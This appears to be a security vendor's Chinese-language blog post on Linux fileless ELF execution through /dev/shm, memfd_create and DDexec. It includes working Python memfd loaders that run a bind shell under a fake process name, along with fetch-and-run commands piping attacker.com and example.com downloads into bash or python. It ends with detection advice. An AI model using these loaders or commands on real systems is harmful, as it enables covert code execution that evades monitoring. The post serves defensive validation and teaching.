● 背景 ●
在传统网络安全的核心逻辑是“文件即威胁”——杀毒软件扫描磁盘文件识别恶意代码,主机安全监控进程行为检测可疑活动,防火墙则拦截不明文件传输。这些防御措施基于对文件和进程的监控,比较依赖文件的存在作为判断威胁的依据。然而,无文件执行技术正在颠覆这一逻辑:恶意代码无需落地磁盘,直接在内存中加载执行。
无文件执行技术使恶意代码能够直接在内存中加载和执行,绕过了对磁盘文件的检测,从而逃脱了传统防御手段的监控。这种技术的最大特点是:无需将恶意代码写入磁盘,不留下任何文件痕迹,使得攻击者能够更加隐蔽地进行渗透和执行,规避了反病毒软件、HIDS、沙箱等多种防护。
如今,“无文件执行”技术已经常态化了,尤其是在红蓝攻防对抗、规避检测等领域,展现了巨大的实战价值。有经验的读者可能见过这样的告警场景:
curl http://example.com/exploit.sh |
bash
这其实就是一种无文件执行攻击,将恶意代码加载进内存执行。
其实近年来,无文件攻击已成为APT组织(如KV Botnet Activity、APT32)的常用手法。
ATT&CK对进程注入攻击的描述(中文翻译版)
然而,这种攻击手段的普及也给安全检测带来了前所未有的挑战。基于这一背景,我们的离朱安全运营平台中的“HTTP远程执行、进程异常行为防护-内存执行”等主机、终端安全的场景已能够验证安全设备对该类攻击的检测有效性。
在本文中,我们主要介绍 Linux 主机方向的三种无文件执行的技术,分别是共享内存目录、memfd_create和操作/proc/self/mem,我们将介绍它们的工作原理、实现方式并观察它们如何绕过传统的文件监控防御机制。
通过了解这些技术,安全从业者可以更好地认识无文件攻击,提升对这类隐蔽攻击的防护能力和应对策略,从而加强整体安全防护运营水平。
共享内存目录:文件系统监控的重点区域
-
原 理
共享内存目录,位于/dev/shm,它的名字来源于“shared memory file system”(共享内存文件系统),是通过 tmpfs 的机制实现的。
tmpfs(temporary file system,临时文件系统),tmpfs是一种基于内存的文件系统,它不直接对应磁盘上的实际文件。这意味着存储在 tmpfs 上的数据,不是存储在物理磁盘上,而是直接存储在内存中的,只是以物理磁盘分区的方式展示给用户。tmpfs 主要特点是速度快,因为内存的读写速度远高于磁盘,但它也有缺点,比如数据在系统重启后会丢失。
除此之外,共享内存目录还有下面的特点:
-
隐藏性:大部分用户日常并不常用这个目录,这进一步提升了隐藏性。攻击者可在内存共享目录中存放后门配置、恶意模块等。
-
重启后自动销毁:由于在共享内存目录存储的数据,在系统重启后会消失,这使得其成为恶意软件经常利用的目标,甚至可以绕过某些安全防护机制。
-
可能绕过实时监控:某些HIDS(主机入侵检测系统)考虑到性能,可能只检测持久化磁盘,而非实时扫描内存。
-
技术演示
本次演示将使用curl命令下载恶意文件,到/dev/shm目录下执行;演示这种手法具备正常执行二进制样本的能力。
首先,查看/dev/shm ,确认其为默认状态,被挂载为 tmpfs 。
mount | grep /dev/shm
/dev/shm 默认被挂载为 tmpfs
其次,远程下载恶意文件,添加可执行权限并执行
此时,我们的攻击机已收到shell,攻击目标达成。
-
自动化验证演示
离朱验证平台实现了在/dev/shm目录执行Meterpreter木马(curl)的模拟。
验证演示截图
memfd_create:内存中的“隐形刺客”
-
原 理
memfd_create() 是 Linux 内核提供的一种系统调用(自内核 3.17 版本起引入),允许进程在内存中创建匿名文件对象。与传统文件不同,这些匿名文件具有以下特性:
-
无磁盘痕迹:不关联任何磁盘路径,仅通过文件描述符(fd)访问。
-
完整文件语义:支持read()、write()、mmap()等操作,甚至可伪装成常规文件(如通过/proc/pid/fd/路径访问)。
-
自毁机制:当进程退出时,文件自动从内存中清除,不留痕迹。
-
技术演示
本次演示将使用memfd_create系统调用,演示其能够正常执行二进制样本的能力。
首先,创建memfd.py,这段代码的作用是:通过memfd_create系统调用创建一个匿名文件,将一个可执行ELF文件(在此例中为正向监听的shell服务程序)写入该匿名文件,然后通过fork和setsid创建子进程并脱离父进程会话,并使用os.execl调用执行该匿名文件中的程序达到无文件执行的目的,并避免留下磁盘痕迹。
演示代码如下:
# encoding: utf-8
import ctypes
import os
"""
1. 使用 memfd_create() 系统调用创建匿名文件,进程名可控。
2. 使用可执行 ELF 文件填充该文件。
3. 执行该文件,也可以使用 fork() 多次执行该文件。
"""
# 读取可执行文件(在此例中为正向监听的 Shell 服务程序)
binary = open('/root/bind_shell_X86.elf', 'rb').read()
# 调用 memfd_create() 创建匿名文件
fd = ctypes.CDLL(None).syscall(319, "", 1)
# 将可执行文件写入匿名文件
with open(f'/proc/self/fd/{fd}', 'wb') as final_fd:
final_fd.write(binary)
# 创建子进程并脱离父进程会话
fork1 = os.fork()
if fork1 != 0:
os._exit(0)
# 创建新的会话
ctypes.CDLL(None).syscall(112)
fork2 = os.fork()
if fork2 != 0:
os._exit(0)
# 获取当前进程 ID 并执行匿名文件中的程序
pid = os.getpid()
print(f"PID: {pid}")
print("Running our payload...")
os.execl(f'/proc/self/fd/{fd}', '[SSHD]', '')
获得 pid
执行后,进程 ID 为 29133。观察该进程的执行文件路径,可以看到进程 29133 的内存指向一个匿名内存文件,这表明该进程并未加载任何实际的磁盘文件,提示信息为“已被删除”,memfd:(deleted)
匿名文件的特性使其完全依赖内存执行,不会在磁盘留下痕迹。使用 lsof 命令查看进程(PID 29133)打开的文件,或者查看与端口(如 2223)相关的文件,也未发现任何跟文件路径有关的信息。
lsof查看关联句柄
为了便于理解,我们尝试不使用 memfd_create(),直接执行 bind_shell_X86.elf 文件。
在这种情况下,如果我们在取证过程中,可以直接定位到恶意文件的路径。
上机排查可直接定位到恶意文件的路径
在复现该攻击手法时,我们注意到原始手法的实用性较差,原因在于上述 py 脚本需要受害机器本地已存在恶意样本。若不将恶意样本嵌入攻击脚本中,攻击者仍需单独投递样本至目标系统,这增加了攻击的复杂性,也降低了攻击的隐蔽性。
binary = open('/root/bind_shell_X86.elf','rb').read()
因此,在实现无文件攻击验证用例时,我们进行了改进:借助开源工具 fireELF(允许在 Linux 系统上无文件地执行 ELF 文件的Python 工具),将恶意样本嵌入 Python 脚本中,托管在验证的攻击机器上。
代码如下:
import ctypes, os, base64, zlib
l = ctypes.CDLL(None)
s = l.syscall
c = base64.b64decode(
b'<以base64编码保存的恶意文件>'
)
# 解码并解压缩嵌入的恶意文件
e = zlib.decompress(c)
f = s(319, '', 1) # 319 是 memfd_create() 的系统调用号。
os.write(f, e)
p = '/proc/self/fd/%d' % f
os.execle(p, 'fileless_elf_exec_via_py', {}) # 进程名可自定义
在验证时,受害机器通过以下命令下载该恶意文件并通过 Bash 管道符直接传递给 Python 执行,实现无文件执行:
curl -s {{FILE_URL}} | python
-
自动化验证演示
基于 memfd_create调用实施无文件执行的自动化验证方案,主要包含 2 个子类:
-
使用 fireELF 工具无文件执行Meterpreter木马(Python或 Perl调用)——将二进制文件编码嵌入脚本文件,远程加载执行。
-
使用syscall机制调用memfd_create执行Meterpreter木马。借助 perl 可以直接调用 syscall的特性,调用memfd_create,远程加载后执行。
使用 fireELF 工具无文件执行Meterpreter木马(Perl调用)
DDExec:操作/proc/self/mem
-
原 理
项目地址:https://github.com/arget13/DDexec
DDexec是一种利用内存操作实现无文件攻击的技术,核心原理是通过解析ELF二进制结构、生成自包含shellcode,并利用Linux内存接口(/proc/self/mem
)和常见工具(如tail
)直接写入内存,实现了在用户态的无文件执行。技术上的优势如下:
-
在用户态实现了
execve
调用:该脚本通过修改进程的内存空间,实现了类似execve()
系统调用的功能,从而无需依赖操作系统提供的执行文件机制。这使得它可以实现不依赖可执行文件实体的情况下运行程序。
-
直接修改
/proc/self/mem
内存:该脚本利用/proc/$pid/mem
文件提供的一对一内存映射,直接往进程的内存空间中写入可执行代码和数据。这避免了使用ptrace()
等需要特殊权限的方式。
-
不接触磁盘: 跟上面几种技术一样,整个执行过程都在内存中完成,不需要将可执行文件写入磁盘。当然,在该攻击技术中,不含恶意代码逻辑的DDexec.sh 文件需要存在于本地,这可能会成为防守方威胁狩猎的起点。
-
技术演示
-
本地概念验证: 尝试将本地的 ls 命令传入,可以正常执行。
地概念验证
base64 -w0 /bin/ls | bash ddexec.sh ls -lA
参数说明: ↑ ↑
要执行的二进制文件 ↑
程序参数
-
武器化使用场景:远程下载恶意 elf 执行
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
curl -s https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
-
自动化验证演示
● 实战演示 ●
我们的“离朱安全运营平台”已全面集成并实现上述所有攻击技术的验证模拟,覆盖了从传统到前沿的多种“无文件攻击”场景。
在实际验证过程中,我们发现某些安全设备对部分验证场景能够准确触发告警,而对于其他用例则未能产生告警。这一现象表明,当前的安全防护软件具备基础能力,但在面对细分的不同攻击手法时,其检测能力存在一定差异。
这不仅凸显了安全防护体系在复杂攻击面前的局限性,也体现了持续验证和优化安全防护策略的紧迫性。
模拟验证结果
此外,离朱验证平台还能实时捕获用例执行时的进程链信息,精准实现告警产生后的日志匹配和闭环。
验证平台可实时捕获进程链
传统防御机制(如反病毒软件、文件扫描工具等)在面对无文件执行技术时暴露了巨大的薄弱环节。这些防御措施依赖于文件系统的监控,但无文件执行技术完全绕过了这一层防护。
然而,上面几种攻击手法也并非完全不能防护。
近年来随着攻防对抗的升级,防守方已逐渐识别出上述的第一种手法「共享内存目录执行」的攻击指标 (IoA) 。因此,在共享内存目录中执行恶意文件,也常被视为“异常事件”。
防守方逐渐识别出攻击特征
此外,memfd_create等系统调用,除了可用于无文件加载外,还可用于混淆程序名和参数,也可以作为重点监控的对象;开源 HIDS Wazuh就使用了 Linux Audit 系统来监控 Linux 端点上的系统调用,值得参考。
第三种攻击手法所使用到的DDexec.sh 这一实施无文件攻击的加载器文件,在杀毒引擎网站上,也被标记为了“可疑”。这说明传统防病毒引擎也在逐渐识别无文件执行这一攻击手法。
DDexec.sh文件被标记为恶意
最后,Linux上一切皆文件,在平衡性能与检测效果的前提下,定期监控/proc//exe等重点文件,也是可以考虑的方向。
● 总结 ●
无文件执行技术为网络攻击提供了更加隐蔽和高效的手段,它们有效绕过了传统的防御机制,增加了攻击的持久性和隐蔽性。
安全团队可参考下列建议,确认对这一新型威胁的有效防护:
-
监控敏感的文件目录:管理员应监控 tmpfs、proc文件系统,特别是 /tmp、/dev/shm、 /run/shm、/var/run、/var/lock、/proc等目录的使用情况,这些目录通常用于存储临时文件或内存映射文件,是无文件攻击的常见目标。例如:/dev/shm、/tmp 目录,禁止分配可执行权限;
-
监控进程和敏感调用:首先,借助Linux Kernel Netlink接口的cn_proc指令作为进程监控的方案,可以有效提升检出率;其次,memfd_create 是一个用于创建匿名文件的系统调用,经常被无文件攻击利用,Linux Audit 系统可以监控这个系统调用,以检测潜在的恶意行为。
-
内存查杀: HIDS 可以使用基于已知的恶意签名或异常行为的内存扫描模块(如yara),定期扫描内存中的进程是否为恶意。
-
持续验证: 借助离朱安全运营平台实现包括无文件执行在内的多种攻击技术模拟,可验证防御方案在各种攻击场景下的实际防护情况。
参考资料:
-
https://blog.csdn.net/weixin_42181573/article/details/121375921
-
https://github.com/rek7/fireELF
-
https://github.com/arget13/DDexec/blob/main/ddexec.sh
-
https://mp.weixin.qq.com/s/ut2F9N_jct14kSYhCKkqkA
-
https://www.elastic.co/guide/en/security/current/prebuilt-rule-8-5-1-binary-executed-from-shared-memory-directory.html
-
https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
-
https://mp.weixin.qq.com/s/JRFufmvIsmccQ_XlSd6nCg
-
https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md
-
https://documentation.wazuh.com/current/user-manual/capabilities/system-calls-monitoring/index.html
国内安全验证的开创者和领军者
原文始发于微信公众号(知其安科技):Linux ELF无文件执行技术剖析:从原理到攻击模拟
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论